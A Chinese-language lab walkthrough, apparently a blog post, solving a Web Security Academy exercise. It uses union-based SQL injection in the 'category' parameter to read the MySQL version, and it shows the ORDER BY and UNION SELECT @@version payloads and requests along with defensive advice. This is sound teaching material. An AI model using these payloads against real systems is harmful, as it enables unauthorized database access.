Web Security Academy 第四关:SQL 注入查询 MySQL / SQL Server 版本

大家好,本篇是 Web Security Academy 第四关 超详细图文教程,每一步操作、页面响应、请求包都和你的截图 1:1 对应,跟着做直接通关。

另外,我之前已经发布过 SQL Server数据库基础、注入语法、版本查询 的文章,对 SQL Server不熟悉的朋友可以先去我主页看那篇补课,本文专注靶场实战。


关卡信息

  • 关卡名称:SQL injection attack, querying the database type and version on MySQL and Microsoft
  • 注入点:商品分类 category 参数
  • 数据库:MySQL
  • 目标:获取版本字符串 8.0.42-0ubuntu0.20.04.1
  • 难度:入门

1. 关卡初始页面

打开靶场进入第四关首页。页面顶部提示:Make the database retrieve the string: '8.0.42-0ubuntu0.20.04.1'

页面下方是商品列表,分类包括:All、Accessories、Clothing, shoes and accessories、Corporate gifts、Food & Drink、Gifts。

确认注入点在商品分类筛选的 category 参数。


2. 正常访问分类页面

直接点击分类 Accessories,页面正常加载,无报错。

将URL:/filter?category=Accessories'

页面并未报错但商品信息全部没了,并且展示了Accessories'

存在注入点,


3. 正常请求包

请求包内容:

响应状态:HTTP/2 200 OK,页面正常返回。


4. ORDER BY 3 测试字段数

操作:在参数后构造语句测试字段数量

plaintext

复制代码
category=' order by 3--

页面返回:Internal Server Error(500 错误)

说明原查询字段数 小于 3


5. ORDER BY 3 报错请求包

请求包:

plaintext

复制代码
GET /filter?category='%20order%20by%203-- HTTP/1.1

响应状态:HTTP/2 500 Internal Server Error确认字段数不满足 3 列。


6. ORDER BY 2 测试字段数

操作:

plaintext

复制代码
category=' order by 2--

页面正常显示商品,无报错。

结论:原查询一共 2 个字段


7. UNION SELECT 1,2 测试回显位

操作:确认字段数后,测试回显位置

plaintext

复制代码
category=-1' union select 1,2--

页面成功显示数字 1、2,说明两个字段都可回显。


8. 构造版本查询 Payload

操作:使用 MySQL 全局变量 @@version 查询版本

plaintext

复制代码
category=-1' union select @@version,2--

页面直接回显:8.0.42-0ubuntu0.20.04.1

顶部显示:Congratulations, you solved the lab! 关卡状态变为 Solved,通关成功。


9. 通关成功请求包

请求包:

plaintext

复制代码
GET /filter?category=-1%27%20union%20select%20@@version,2-- HTTP/2

响应状态:HTTP/2 200 OK页面成功返回 MySQL 完整版本。


核心知识点总结

  1. 注入判断:单引号触发 ,确认字符型注入
  2. 字段判断:ORDER BY 2 正常、3 报错 → 2 个字段
  3. MySQL 版本查询:@@version / VERSION()
  4. UNION 注入:字段数对齐、用 -1' 清空原结果
  5. 注释符:-- 注释后续语句

安全防护建议

  1. 使用参数化查询 / 预编译语句
  2. 限制数据库账号权限,禁止读取敏感系统变量
  3. 输入过滤与 WAF 防护
相关推荐
复园电子1 小时前
企业级PDF批量盖章方案选型指南
数据库·pdf
AI-好学者8 小时前
阶段一-图数据库基础与PropertyGraph模型
数据库·rag·knowledge graph·graphrag
其实防守也摸鱼9 小时前
运维--学习阶段问题解答(1)(自测)
linux·运维·服务器·数据库·学习·自动化·命令模式
懒鸟一枚9 小时前
深入理解 Linux 内存、Swap 交换分区与分页机制的关系
java·linux·数据库
龙仔7259 小时前
SQL Server 创建只读账号完整操作(分两种场景:SSMS图形界面 + T-SQL脚本)
数据库·sql·oracle
霁月的小屋9 小时前
生产环境中的事务实践——银行系统上线记(四)
数据库
Database_Cool_10 小时前
AI 应用数据底座首选:阿里云 PolarDB 为大模型 RAG 提供一体化支撑
数据库·阿里云
玖玥拾10 小时前
C# 语言进阶(十五)C# 游戏服务端 MySQL 数据库
服务器·开发语言·网络·数据库·mysql·c#
IvorySQL11 小时前
PG 日报|社区讨论重构 pg_hba 配置文件格式
数据库·人工智能·postgresql·重构·ivorysql
逝水无殇11 小时前
C# 文件的输入与输出详解
开发语言·数据库·后端·c#